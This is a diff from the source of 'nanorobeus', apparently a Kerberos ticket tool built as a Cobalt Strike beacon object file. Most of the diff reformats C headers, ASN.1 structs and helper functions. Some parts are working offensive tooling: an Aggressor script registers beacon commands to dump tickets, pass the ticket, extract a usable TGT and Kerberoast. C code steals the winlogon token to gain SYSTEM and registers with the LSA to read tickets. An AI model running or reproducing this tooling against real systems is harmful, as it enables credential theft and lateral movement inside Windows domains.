WCHAR *GetWideString(char *src);
unsigned int _strlen(const char *str);
unsigned int _wcslen(LPCWSTR str);
int _strcmp(const char *str1, const char *str2);
char *_strcpy(char *dst, const char *src);
char *_strstr(const char *str, const char *sub);
int _wcscmp(LPCWSTR str1, LPCWSTR str2);
void* _memcpy(void *dst, const void *src, size_t n);
int _memcmp(const void *ptr1, const void *ptr2, size_t n);
void *_memcpy(void *dst, const void *src, size_t n);
int _memcmp(const void *ptr1, const void *ptr2, size_t n);
HRESULT __stdcall _StringCchPrintfExA(STRSAFE_LPSTR pszDest, size_t cchDest, STRSAFE_LPSTR *ppszDestEnd, size_t *pcchRemaining, unsigned __LONG32 dwFlags, STRSAFE_LPCSTR pszFormat, ...);
HRESULT __stdcall _StringVPrintfExWorkerA(STRSAFE_LPSTR pszDest, size_t cchDest, size_t cbDest, STRSAFE_LPSTR *ppszDestEnd, size_t *pcchRemaining, unsigned __LONG32 dwFlags, STRSAFE_LPCSTR pszFormat, va_list argList);
void *_memset(void *dst, int c, size_t n);
+1 -1
View File
@@ -2,4 +2,4 @@
#include <windows.h>
void execute_kerberoast(WCHAR** dispatch, char* spn);
void execute_kerberoast(WCHAR **dispatch, char *spn);
+5 -5
View File
@@ -6,9 +6,9 @@
#include "common.h"
#include "sessions.h"
void execute_klist(WCHAR** dispatch, LUID luid, BOOL currentLuid, BOOL dump);
void EnumerateTickets(LUID*, BOOL, HANDLE);
NTSTATUS ExtractTicket(HANDLE hLsa, ULONG authPackage, LUID luid, UNICODE_STRING targetName, PUCHAR* ticket,
void execute_klist(WCHAR **dispatch, LUID luid, BOOL currentLuid, BOOL dump);
void EnumerateTickets(LUID *, BOOL, HANDLE);
NTSTATUS ExtractTicket(HANDLE hLsa, ULONG authPackage, LUID luid, UNICODE_STRING targetName, PUCHAR *ticket,
PULONG ticketSize);
void PrintTicketInfo(WCHAR** dispatch, KERB_TICKET_CACHE_INFO_EX cacheInfo);
void PrintTicketFlags(WCHAR** dispatch, ULONG ticketFlags);
void PrintTicketInfo(KERB_TICKET_CACHE_INFO_EX cacheInfo, char **ticketInfo);
void PrintTicketFlags(ULONG ticketFlags, char **flagsString);
+47 -27
View File
@@ -39,7 +39,8 @@ typedef LONG KERBERR, *PKERBERR;
#define KDC_ERR_MORE_DATA ((KERBERR)0x80000001)
#define KERB_SUCCESS(_kerberr_) ((KERBERR)(_kerberr_) == KDC_ERR_NONE)
typedef struct _KERB_GSS_CHECKSUM {
typedef struct _KERB_GSS_CHECKSUM
{
ULONG BindLength;
ULONG BindHash[4];
ULONG GssFlags;
@@ -49,18 +50,21 @@ typedef struct _KERB_GSS_CHECKSUM {
} KERB_GSS_CHECKSUM, *PKERB_GSS_CHECKSUM;
typedef ASN1ztcharstring_t KERB_PRINCIPAL_NAME_name_string_Seq;
typedef struct KERB_PRINCIPAL_NAME_name_string_s* PKERB_PRINCIPAL_NAME_name_string;
typedef struct KERB_PRINCIPAL_NAME_name_string_s {
typedef struct KERB_PRINCIPAL_NAME_name_string_s *PKERB_PRINCIPAL_NAME_name_string;
typedef struct KERB_PRINCIPAL_NAME_name_string_s
{
PKERB_PRINCIPAL_NAME_name_string next;
KERB_PRINCIPAL_NAME_name_string_Seq value;
} KERB_PRINCIPAL_NAME_name_string_Element, *KERB_PRINCIPAL_NAME_name_string;
typedef struct PKERB_TICKET_EXTENSIONS_s* PPKERB_TICKET_EXTENSIONS;
typedef struct PKERB_TICKET_EXTENSIONS_Seq {
typedef struct PKERB_TICKET_EXTENSIONS_s *PPKERB_TICKET_EXTENSIONS;
typedef struct PKERB_TICKET_EXTENSIONS_Seq
{
ASN1int32_t te_type;
ASN1octetstring_t te_data;
} PKERB_TICKET_EXTENSIONS_Seq;
typedef struct PKERB_TICKET_EXTENSIONS_s {
typedef struct PKERB_TICKET_EXTENSIONS_s
{
PPKERB_TICKET_EXTENSIONS next;
PKERB_TICKET_EXTENSIONS_Seq value;
} PKERB_TICKET_EXTENSIONS_Element, *PKERB_TICKET_EXTENSIONS;
@@ -70,24 +74,29 @@ typedef ASN1ztcharstring_t KERB_REALM;
typedef ASN1generalizedtime_t KERB_TIME;
typedef ASN1intx_t KERB_SEQUENCE_NUMBER_LARGE;
typedef struct PKERB_AUTHORIZATION_DATA_Seq {
typedef struct PKERB_AUTHORIZATION_DATA_Seq
{
ASN1int32_t auth_data_type;
ASN1octetstring_t auth_data;
} PKERB_AUTHORIZATION_DATA_Seq;
typedef struct PKERB_AUTHORIZATION_DATA_s* PPKERB_AUTHORIZATION_DATA;
typedef struct PKERB_AUTHORIZATION_DATA_s {
typedef struct PKERB_AUTHORIZATION_DATA_s *PPKERB_AUTHORIZATION_DATA;
typedef struct PKERB_AUTHORIZATION_DATA_s
{
PPKERB_AUTHORIZATION_DATA next;
PKERB_AUTHORIZATION_DATA_Seq value;
} PKERB_AUTHORIZATION_DATA_Element, *PKERB_AUTHORIZATION_DATA;
typedef struct KERB_PRINCIPAL_NAME {
typedef struct KERB_PRINCIPAL_NAME
{
ASN1int32_t name_type;
PKERB_PRINCIPAL_NAME_name_string name_string;
} KERB_PRINCIPAL_NAME;
typedef struct KERB_ENCRYPTED_DATA {
union {
typedef struct KERB_ENCRYPTED_DATA
{
union
{
ASN1uint16_t bit_mask;
ASN1octet_t o[1];
};
@@ -96,18 +105,22 @@ typedef struct KERB_ENCRYPTED_DATA {
ASN1octetstring_t cipher_text;
} KERB_ENCRYPTED_DATA;
typedef struct KERB_ENCRYPTION_KEY {
typedef struct KERB_ENCRYPTION_KEY
{
ASN1int32_t keytype;
ASN1octetstring_t keyvalue;
} KERB_ENCRYPTION_KEY;
typedef struct KERB_CHECKSUM {
typedef struct KERB_CHECKSUM
{
ASN1int32_t checksum_type;
ASN1octetstring_t checksum;
} KERB_CHECKSUM;
typedef struct KERB_REPLY_KEY_PACKAGE2 {
union {
typedef struct KERB_REPLY_KEY_PACKAGE2
{
union
{
ASN1uint16_t bit_mask;
ASN1octet_t o[1];
};
@@ -116,8 +129,10 @@ typedef struct KERB_REPLY_KEY_PACKAGE2 {
ASN1bitstring_t subject_public_key;
} KERB_REPLY_KEY_PACKAGE2;
typedef struct KERB_TICKET {
union {
typedef struct KERB_TICKET
{
union
{
ASN1uint16_t bit_mask;
ASN1octet_t o[1];
};
@@ -128,8 +143,10 @@ typedef struct KERB_TICKET {
PPKERB_TICKET_EXTENSIONS ticket_extensions;
} KERB_TICKET;
typedef struct KERB_AUTHENTICATOR {
union {
typedef struct KERB_AUTHENTICATOR
{
union
{
ASN1uint16_t bit_mask;
ASN1octet_t o[1];
};
@@ -144,7 +161,8 @@ typedef struct KERB_AUTHENTICATOR {
PPKERB_AUTHORIZATION_DATA authorization_data;
} KERB_AUTHENTICATOR;
typedef struct KERB_AP_REQUEST {
typedef struct KERB_AP_REQUEST
{
ASN1int32_t version;
ASN1int32_t message_type;
KERB_AP_OPTIONS ap_options;
@@ -152,12 +170,14 @@ typedef struct KERB_AP_REQUEST {
KERB_ENCRYPTED_DATA authenticator;
} KERB_AP_REQUEST, *PKERB_AP_REQUEST;
typedef struct KERB_CRED_tickets_s* PKERB_CRED_tickets;
typedef struct KERB_CRED_tickets_s {
typedef struct KERB_CRED_tickets_s *PKERB_CRED_tickets;
typedef struct KERB_CRED_tickets_s
{
PKERB_CRED_tickets next;
KERB_TICKET value;
} KERB_CRED_tickets_Element, *KERB_CRED_tickets;
typedef struct KERB_CRED {
typedef struct KERB_CRED
{
ASN1int32_t version;
ASN1int32_t message_type;
PKERB_CRED_tickets tickets;
@@ -166,8 +186,8 @@ typedef struct KERB_CRED {
ASN1module_t ASN1CALL KRB5_Module_Startup(void);
void ASN1CALL KRB5_Module_Cleanup(ASN1module_t module);
KERBERR KerbInitAsn(ASN1module_t module, ASN1encoding_t* pEnc, ASN1decoding_t* pDec);
KERBERR KerbInitAsn(ASN1module_t module, ASN1encoding_t *pEnc, ASN1decoding_t *pDec);
void KerbTermAsn(ASN1encoding_t pEnc, ASN1decoding_t pDec);
KERBERR NTAPI KerbUnpackData(ASN1module_t module, PUCHAR Data, ULONG DataSize, ULONG PduValue, PVOID* DecodedData);
KERBERR NTAPI KerbPackData(ASN1module_t module, PVOID Data, ULONG PduValue, PULONG DataSize, PUCHAR* EncodedData);
KERBERR NTAPI KerbUnpackData(ASN1module_t module, PUCHAR Data, ULONG DataSize, ULONG PduValue, PVOID *DecodedData);
KERBERR NTAPI KerbPackData(ASN1module_t module, PVOID Data, ULONG PduValue, PULONG DataSize, PUCHAR *EncodedData);
void KerbFreeData(ASN1module_t module, ULONG PduValue, PVOID Data);
+2 -2
View File
@@ -3,5 +3,5 @@
#include <windows.h>
#include "common.h"
void execute_luid(WCHAR** dispatch);
LUID* GetCurrentLUID();
void execute_luid(WCHAR **dispatch);
LUID *GetCurrentLUID();
+584 -513
View File
File diff suppressed because it is too large Load Diff
+1 -1
View File
@@ -4,4 +4,4 @@
#include "common.h"
#include "base64.h"
void execute_ptt(WCHAR** dispatch, char* ticket, LUID luid, BOOL currentLuid);
void execute_ptt(WCHAR **dispatch, char *ticket, LUID luid, BOOL currentLuid);
+1 -1
View File
@@ -4,4 +4,4 @@
#include <ntsecapi.h>
#include "common.h"
void execute_purge(WCHAR** dispatch, LUID luid, BOOL currentLuid);
void execute_purge(WCHAR **dispatch, LUID luid, BOOL currentLuid);
+4 -4
View File
@@ -5,7 +5,7 @@
#include "common.h"
#include "luid.h"
void execute_sessions(WCHAR** dispatch, LUID luid, BOOL currentLuid);
NTSTATUS GetLogonSessionData(LUID luid, LOGON_SESSION_DATA* data);
char* GetLogonTypeString(ULONG uLogonType);
void PrintLogonSessionData(WCHAR** dispatch, SECURITY_LOGON_SESSION_DATA data);
void execute_sessions(WCHAR **dispatch, LUID luid, BOOL currentLuid);
NTSTATUS GetLogonSessionData(LUID luid, LOGON_SESSION_DATA *data);
void GetLogonTypeString(ULONG uLogonType, char **logonTypeString);
void PrintLogonSessionData(SECURITY_LOGON_SESSION_DATA data, char **sessionString);
+4 -4
View File
@@ -8,9 +8,9 @@
#include "msasn1.h"
#include "krb5.h"
void execute_tgtdeleg(WCHAR** dispatch, char* spn);
void execute_tgtdeleg(WCHAR **dispatch, char *spn);
PBYTE SearchOID(LPCVOID data, SIZE_T size);
PVOID MemorySearch(LPCVOID pattern, SIZE_T pSize, LPCVOID buf, SIZE_T bSize);
NTSTATUS KerberosDecrypt(DWORD keyUsage, KERB_ENCRYPTION_KEY* key, ASN1octetstring_t* in, ASN1octetstring_t* out);
NTSTATUS GetKeyFromCache(char* target, LONG encType, PUCHAR* key, PULONG keySize);
LONG RequestApReq(char *spn, PUCHAR* apreq, PULONG apreqSize, BOOL checkDelegate);
NTSTATUS KerberosDecrypt(DWORD keyUsage, KERB_ENCRYPTION_KEY *key, ASN1octetstring_t *in, ASN1octetstring_t *out);
NTSTATUS GetKeyFromCache(char *target, LONG encType, PUCHAR *key, PULONG keySize);
LONG RequestApReq(char *spn, PUCHAR *apreq, PULONG apreqSize, BOOL checkDelegate);
+37
View File
@@ -0,0 +1,37 @@
beacon_command_register(
"nanorobeus",
"Manage Kerberos tickets",
"Command list: \
luid\
get current logon ID\
sessions [/luid:<0x0> | /all]\
get logon sessions\
klist [/luid:<0x0> | /all]\
list Kerberos tickets\
dump [/luid:<0x0> | /all]\
dump Kerberos tickets\
ptt /ticket:<BASE64> [/luid:<0x0>]\
import Kerberos ticket into a logon session\
purge [/luid:<0x0>]\
purge Kerberos tickets\
tgtdeleg /spn:<SPN>\
retrieve a usable TGT for the current user\
kerberoast /spn:<SPN>\
perform Kerberoasting against specified SPN\
help\
print help"
);
alias nanorobeus {
local('$barch $handle $bof $args');
$barch = barch($1);
$handle = openf(script_resource("dist/nanorobeus_cs." . $barch . ".o"));
$bof = readb($handle, -1);
closef($handle);
$args = bof_pack($1, "zzzzz", $2, $3, $4, $5, $6);
btask($1, "Running nanorobeus");
beacon_inline_execute($1, $bof, "go", $args);
}
+1 -1
View File
@@ -1,6 +1,6 @@
{
"name": "nanorobeus",
"version": "0.0.3",
"version": "0.0.4",
"command_name": "nanorobeus",
"extension_author": "wavvs",
"original_author": "wavvs",
+34 -22
View File
@@ -91,7 +91,7 @@ static const unsigned char pr2six[256] = {
/* ASCII table */
64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 62, 64, 64, 64, 63, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61,
64, 64, 64, 64, 64, 64, 64, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21,
64, 64, 64, 64, 64, 64, 64, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21,
22, 23, 24, 25, 64, 64, 64, 64, 64, 64, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44,
45, 46, 47, 48, 49, 50, 51, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
@@ -99,37 +99,40 @@ static const unsigned char pr2six[256] = {
64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64};
int Base64decode_len(const char* bufcoded) {
int Base64decode_len(const char *bufcoded)
{
int nbytesdecoded;
const unsigned char* bufin;
const unsigned char *bufin;
int nprbytes;
bufin = (const unsigned char*)bufcoded;
bufin = (const unsigned char *)bufcoded;
while (pr2six[*(bufin++)] <= 63)
;
nprbytes = (bufin - (const unsigned char*)bufcoded) - 1;
nprbytes = (bufin - (const unsigned char *)bufcoded) - 1;
nbytesdecoded = ((nprbytes + 3) / 4) * 3;
return nbytesdecoded + 1;
}
int Base64decode(char* bufplain, const char* bufcoded) {
int Base64decode(char *bufplain, const char *bufcoded)
{
int nbytesdecoded;
const unsigned char* bufin;
unsigned char* bufout;
const unsigned char *bufin;
unsigned char *bufout;
int nprbytes;
bufin = (const unsigned char*)bufcoded;
bufin = (const unsigned char *)bufcoded;
while (pr2six[*(bufin++)] <= 63)
;
nprbytes = (bufin - (const unsigned char*)bufcoded) - 1;
nprbytes = (bufin - (const unsigned char *)bufcoded) - 1;
nbytesdecoded = ((nprbytes + 3) / 4) * 3;
bufout = (unsigned char*)bufplain;
bufin = (const unsigned char*)bufcoded;
bufout = (unsigned char *)bufplain;
bufin = (const unsigned char *)bufcoded;
while (nprbytes > 4) {
while (nprbytes > 4)
{
*(bufout++) = (unsigned char)(pr2six[*bufin] << 2 | pr2six[bufin[1]] >> 4);
*(bufout++) = (unsigned char)(pr2six[bufin[1]] << 4 | pr2six[bufin[2]] >> 2);
*(bufout++) = (unsigned char)(pr2six[bufin[2]] << 6 | pr2six[bufin[3]]);
@@ -138,13 +141,16 @@ int Base64decode(char* bufplain, const char* bufcoded) {
}
/* Note: (nprbytes == 1) would be an error, so just ingore that case */
if (nprbytes > 1) {
if (nprbytes > 1)
{
*(bufout++) = (unsigned char)(pr2six[*bufin] << 2 | pr2six[bufin[1]] >> 4);
}
if (nprbytes > 2) {
if (nprbytes > 2)
{
*(bufout++) = (unsigned char)(pr2six[bufin[1]] << 4 | pr2six[bufin[2]] >> 2);
}
if (nprbytes > 3) {
if (nprbytes > 3)
{
*(bufout++) = (unsigned char)(pr2six[bufin[2]] << 6 | pr2six[bufin[3]]);
}
@@ -157,23 +163,29 @@ static const char basis_64[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuv
int Base64encode_len(int len) { return ((len + 2) / 3 * 4) + 1; }
int Base64encode(char* encoded, const char* string, int len) {
int Base64encode(char *encoded, const char *string, int len)
{
int i;
char* p;
char *p;
p = encoded;
for (i = 0; i < len - 2; i += 3) {
for (i = 0; i < len - 2; i += 3)
{
*p++ = basis_64[(string[i] >> 2) & 0x3F];
*p++ = basis_64[((string[i] & 0x3) << 4) | ((int)(string[i + 1] & 0xF0) >> 4)];
*p++ = basis_64[((string[i + 1] & 0xF) << 2) | ((int)(string[i + 2] & 0xC0) >> 6)];
*p++ = basis_64[string[i + 2] & 0x3F];
}
if (i < len) {
if (i < len)
{
*p++ = basis_64[(string[i] >> 2) & 0x3F];
if (i == (len - 1)) {
if (i == (len - 1))
{
*p++ = basis_64[((string[i] & 0x3) << 4)];
*p++ = '=';
} else {
}
else
{
*p++ = basis_64[((string[i] & 0x3) << 4) | ((int)(string[i + 1] & 0xF0) >> 4)];
*p++ = basis_64[((string[i + 1] & 0xF) << 2)];
}
+381 -141
View File
@@ -1,10 +1,15 @@
#include "common.h"
#include <stdint.h>
HANDLE GetCurrentToken(DWORD DesiredAccess) {
HANDLE GetCurrentToken(DWORD DesiredAccess)
{
HANDLE hCurrentToken = NULL;
if (!ADVAPI32$OpenThreadToken((HANDLE)-2, DesiredAccess, FALSE, &hCurrentToken)) {
if (hCurrentToken == NULL && KERNEL32$GetLastError() == ERROR_NO_TOKEN) {
if (!ADVAPI32$OpenProcessToken((HANDLE)-1, DesiredAccess, &hCurrentToken)) {
if (!ADVAPI32$OpenThreadToken((HANDLE)-2, DesiredAccess, FALSE, &hCurrentToken))
{
if (hCurrentToken == NULL && KERNEL32$GetLastError() == ERROR_NO_TOKEN)
{
if (!ADVAPI32$OpenProcessToken((HANDLE)-1, DesiredAccess, &hCurrentToken))
{
return NULL;
}
}
@@ -12,71 +17,63 @@ HANDLE GetCurrentToken(DWORD DesiredAccess) {
return hCurrentToken;
}
char* GetEncryptionTypeString(LONG encType) {
char* encTypeStr = NULL;
switch (encType) {
case DES_CBC_CRC:
encTypeStr = "DES_CBC_CRC";
break;
case DES_CBC_MD4:
encTypeStr = "DES_CBC_MD4";
break;
case DES_CBC_MD5:
encTypeStr = "DES_CBC_MD5";
break;
case DES3_CBC_MD5:
encTypeStr = "DES3_CBC_MD5";
break;
case DES3_CBC_SHA1:
encTypeStr = "DES3_CBC_SHA1";
break;
case DSAWITHSHA1_CMSOID:
encTypeStr = "DSAWITHSHA1_CMSOID";
break;
case MD5WITHRSAENCRYPTION_CMSOID:
encTypeStr = "MD5WITHRSAENCRYPTION_CMSOID";
break;
case SHA1WITHRSAENCRYPTION_CMSOID:
encTypeStr = "SHA1WITHRSAENCRYPTION_CMSOID";
break;
case RC2CBC_ENVOID:
encTypeStr = "RC2CBC_ENVOID";
break;
case RSAENCRYPTION_ENVOID:
encTypeStr = "RSAENCRYPTION_ENVOID";
break;
case RSAES_OAEP_ENV_OID:
encTypeStr = "RSAES_OAEP_ENV_OID";
break;
case DES3_CBC_SHA1_KD:
encTypeStr = "DES3_CBC_SHA1_KD";
break;
case AES128_CTS_HMAC_SHA1:
encTypeStr = "AES128_CTS_HMAC_SHA1";
break;
case AES256_CTS_HMAC_SHA1:
encTypeStr = "AES256_CTS_HMAC_SHA1";
break;
case RC4_HMAC:
encTypeStr = "RC4_HMAC";
break;
case RC4_HMAC_EXP:
encTypeStr = "RC4_HMAC_EXP";
break;
case SUBKEY_KEYMATERIAL:
encTypeStr = "SUBKEY_KEYMATERIAL";
break;
case OLD_EXP:
encTypeStr = "OLD_EXP";
break;
default:
encTypeStr = "<unknown>";
break;
void GetEncryptionTypeString(LONG encType, char **encTypeString)
{
char *types[27] = {
"reserved0",
"des_cbc_crc",
"des_cbc_md4",
"des_cbc_md5",
"reserved1",
"des3_cbc_md5",
"reserved2",
"des3_cbc_sha1",
"(8)"
"dsaWithSHA1_CmsOID",
"md5WithRSAEncryption_CmsOID",
"sha1WithRSAEncryption_CmsOID",
"rc2CBC_EnvOID",
"rsaEncryption_EnvOID",
"rsaES_OAEP_ENV_OID",
"des_ede3_cbc_Env_OID",
"des3_cbc_sha1_kd",
"aes128_cts_hmac_sha1_96",
"aes256_cts_hmac_sha1_96",
"aes128_cts_hmac_sha256_128",
"aes256_cts_hmac_sha384_192",
"(21)",
"(22)",
"rc4_hmac",
"rc4_hmac_exp",
"camellia128_cts_cmac",
"camellia256_cts_cmac"};
*encTypeString = MSVCRT$malloc(32 * sizeof(char));
if (*encTypeString == NULL)
{
return NULL;
}
return encTypeStr;
for (int i = 0; i < 27; i++)
{
if (i == encType)
{
_strcpy(*encTypeString, types[i]);
return;
}
}
if (encType == SUBKEY_KEYMATERIAL)
{
_strcpy(*encTypeString, "subkey_keymaterial\0");
return;
}
_strcpy(*encTypeString, "(unknown)\0");
}
SYSTEMTIME ConvertToSystemtime(LARGE_INTEGER li) {
SYSTEMTIME ConvertToSystemtime(LARGE_INTEGER li)
{
FILETIME ft;
SYSTEMTIME st_utc;
ft.dwHighDateTime = li.HighPart;
@@ -85,15 +82,18 @@ SYSTEMTIME ConvertToSystemtime(LARGE_INTEGER li) {
return st_utc;
}
BOOL IsHighIntegrity() {
BOOL IsHighIntegrity()
{
BOOL b;
SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;
PSID AdministratorsGroup;
b = ADVAPI32$AllocateAndInitializeSid(&NtAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, 0, 0,
0, 0, 0, 0, &AdministratorsGroup);
if (b) {
if (!ADVAPI32$CheckTokenMembership(NULL, AdministratorsGroup, &b)) {
if (b)
{
if (!ADVAPI32$CheckTokenMembership(NULL, AdministratorsGroup, &b))
{
b = FALSE;
}
ADVAPI32$FreeSid(AdministratorsGroup);
@@ -102,7 +102,8 @@ BOOL IsHighIntegrity() {
return b;
}
BOOL IsSystem() {
BOOL IsSystem()
{
HANDLE hToken;
UCHAR bTokenUser[sizeof(TOKEN_USER) + 8 + 4 * SID_MAX_SUB_AUTHORITIES];
PTOKEN_USER pTokenUser = (PTOKEN_USER)bTokenUser;
@@ -111,11 +112,13 @@ BOOL IsSystem() {
PSID pSystemSid;
BOOL bSystem;
if (!ADVAPI32$OpenProcessToken((HANDLE)-1, TOKEN_QUERY, &hToken)) {
if (!ADVAPI32$OpenProcessToken((HANDLE)-1, TOKEN_QUERY, &hToken))
{
return FALSE;
}
if (!ADVAPI32$GetTokenInformation(hToken, TokenUser, pTokenUser, sizeof(bTokenUser), &cbTokenUser)) {
if (!ADVAPI32$GetTokenInformation(hToken, TokenUser, pTokenUser, sizeof(bTokenUser), &cbTokenUser))
{
return FALSE;
}
@@ -127,36 +130,50 @@ BOOL IsSystem() {
return bSystem;
}
NTSTATUS GetLsaHandle(BOOL highIntegrity, HANDLE* hLsa) {
NTSTATUS GetLsaHandle(BOOL highIntegrity, HANDLE *hLsa)
{
HANDLE hLsaLocal;
LSA_OPERATIONAL_MODE mode = 0;
NTSTATUS status = STATUS_SUCCESS;
if (!highIntegrity) {
if (!highIntegrity)
{
status = SECUR32$LsaConnectUntrusted(&hLsaLocal);
if (!NT_SUCCESS(status)) {
if (!NT_SUCCESS(status))
{
status = ADVAPI32$LsaNtStatusToWinError(status);
}
} else {
}
else
{
// AuditPol.exe /set /subcategory:"Security System Extension"
// /success:enable /failure:enable Event ID 4611 Note: detect elevation via
// winlogon.exe.
char* name = "Winlogon";
char *name = "Winlogon";
STRING lsaString = (STRING){.Length = 8, .MaximumLength = 9, .Buffer = name};
SECUR32$LsaRegisterLogonProcess(&lsaString, &hLsaLocal, &mode);
if (hLsaLocal == NULL) {
if (IsSystem()) {
if (hLsaLocal == NULL)
{
if (IsSystem())
{
status = SECUR32$LsaRegisterLogonProcess(&lsaString, &hLsaLocal, &mode);
if (!NT_SUCCESS(status)) {
if (!NT_SUCCESS(status))
{
status = ADVAPI32$LsaNtStatusToWinError(status);
}
} else {
if (ElevateToSystem()) {
}
else
{
if (ElevateToSystem())
{
status = SECUR32$LsaRegisterLogonProcess(&lsaString, &hLsaLocal, &mode);
if (!NT_SUCCESS(status)) {
if (!NT_SUCCESS(status))
{
status = ADVAPI32$LsaNtStatusToWinError(status);
}
ADVAPI32$RevertToSelf();
} else {
}
else
{
status = KERNEL32$GetLastError();
}
}
@@ -167,25 +184,30 @@ NTSTATUS GetLsaHandle(BOOL highIntegrity, HANDLE* hLsa) {
return status;
}
int GetProcessIdByName(WCHAR* processName) {
int GetProcessIdByName(WCHAR *processName)
{
HANDLE hProcessSnap;
PROCESSENTRY32W pe32;
int pid = -1;
hProcessSnap = KERNEL32$CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcessSnap == INVALID_HANDLE_VALUE) {
if (hProcessSnap == INVALID_HANDLE_VALUE)
{
return pid;
}
pe32.dwSize = sizeof(PROCESSENTRY32W);
if (!KERNEL32$Process32FirstW(hProcessSnap, &pe32)) {
if (!KERNEL32$Process32FirstW(hProcessSnap, &pe32))
{
KERNEL32$CloseHandle(hProcessSnap);
return pid;
}
do {
WCHAR* procName = pe32.szExeFile;
if (_wcscmp(procName, processName) == 0) {
do
{
WCHAR *procName = pe32.szExeFile;
if (_wcscmp(procName, processName) == 0)
{
pid = pe32.th32ProcessID;
break;
}
@@ -195,20 +217,27 @@ int GetProcessIdByName(WCHAR* processName) {
return pid;
}
BOOL ElevateToSystem() {
BOOL ElevateToSystem()
{
int pid = GetProcessIdByName(L"winlogon.exe");
if (pid == -1) {
if (pid == -1)
{
return FALSE;
}
BOOL res = FALSE;
HANDLE hProcess = KERNEL32$OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
if (hProcess != NULL) {
if (hProcess != NULL)
{
HANDLE hDupToken;
HANDLE hToken;
if (ADVAPI32$OpenProcessToken(hProcess, TOKEN_DUPLICATE, &hToken)) {
if (hToken != NULL) {
if (ADVAPI32$DuplicateToken(hToken, SecurityImpersonation, &hDupToken)) {
if (ADVAPI32$ImpersonateLoggedOnUser(hDupToken)) {
if (ADVAPI32$OpenProcessToken(hProcess, TOKEN_DUPLICATE, &hToken))
{
if (hToken != NULL)
{
if (ADVAPI32$DuplicateToken(hToken, SecurityImpersonation, &hDupToken))
{
if (ADVAPI32$ImpersonateLoggedOnUser(hDupToken))
{
res = TRUE;
}
KERNEL32$CloseHandle(hDupToken);
@@ -222,32 +251,12 @@ BOOL ElevateToSystem() {
return res;
}
char* GetNarrowStringFromUnicode(UNICODE_STRING src) {
int len = src.Length / sizeof(WCHAR);
char* dest = (char*)MSVCRT$calloc(len + 1, sizeof(char));
if (dest == NULL) {
return "(mem_alloc_error)";
}
MSVCRT$wcstombs(dest, src.Buffer, len);
dest[len] = '\0';
return dest;
}
char* GetNarrowString(WCHAR* src) {
int len = _wcslen(src);
char* dest = (char*)MSVCRT$calloc(len + 1, sizeof(char));
if (dest == NULL) {
return "(mem_alloc_error)";
}
MSVCRT$wcstombs(dest, src, len);
dest[len] = '\0';
return dest;
}
WCHAR* GetWideString(char* src) {
WCHAR *GetWideString(char *src)
{
int len = _strlen(src);
WCHAR* dest = (WCHAR*)MSVCRT$calloc(len + 1, sizeof(WCHAR));
if (dest == NULL) {
WCHAR *dest = (WCHAR *)MSVCRT$calloc(len + 1, sizeof(WCHAR));
if (dest == NULL)
{
return NULL;
}
MSVCRT$mbstowcs(dest, src, len);
@@ -263,47 +272,155 @@ WCHAR* GetWideString(char* src) {
*
*/
unsigned int _strlen(const char *str) {
unsigned int _strlen(const char *str)
{
const char *s = str;
while (*s) s++;
while (*s)
s++;
return s - str;
}
int _strcmp(const char *str1, const char *str2) {
while (*str1 && *str1 == *str2) { str1++; str2++; }
if ((unsigned char)*str1 > (unsigned char)*str2) return 1;
if ((unsigned char)*str1 < (unsigned char)*str2) return -1;
int _strcmp(const char *str1, const char *str2)
{
while (*str1 && *str1 == *str2)
{
str1++;
str2++;
}
if ((unsigned char)*str1 > (unsigned char)*str2)
return 1;
if ((unsigned char)*str1 < (unsigned char)*str2)
return -1;
return 0;
}
void* _memcpy(void *dst, const void *src, size_t n) {
volatile unsigned char *d = dst; /* avoid gcc optimizations */
char *_strcpy(char *dst, const char *src)
{
char *d = dst;
while ((*d++ = *src++))
;
return dst;
}
char *_strstr(const char *str, const char *sub)
{
while (*str)
{
const char *p1 = str, *p2 = sub;
while (*p1 && *p2 && *p1 == *p2)
{
p1++;
p2++;
}
if (!*p2)
return (char *)str;
str++;
}
return NULL;
}
void *_memcpy(void *dst, const void *src, size_t n)
{
volatile unsigned char *d = dst; /* avoid gcc optimizations */
const unsigned char *s = src;
if ((size_t)dst - (size_t)src >= n)
{
while (n--) *d++ = *s++;
while (n--)
*d++ = *s++;
}
else
{
d += n - 1;
s += n - 1;
while (n--) *d-- = *s--;
while (n--)
*d-- = *s--;
}
return dst;
}
int _memcmp(const void *ptr1, const void *ptr2, size_t n) {
int _memcmp(const void *ptr1, const void *ptr2, size_t n)
{
const unsigned char *p1, *p2;
for (p1 = ptr1, p2 = ptr2; n; n--, p1++, p2++)
{
if (*p1 < *p2) return -1;
if (*p1 > *p2) return 1;
if (*p1 < *p2)
return -1;
if (*p1 > *p2)
return 1;
}
return 0;
}
static inline void _memset_aligned_32(unsigned char *d, uint64_t v, size_t n)
{
unsigned char *end = d + n;
while (d < end)
{
*(uint64_t *)(d + 0) = v;
*(uint64_t *)(d + 8) = v;
*(uint64_t *)(d + 16) = v;
*(uint64_t *)(d + 24) = v;
d += 32;
}
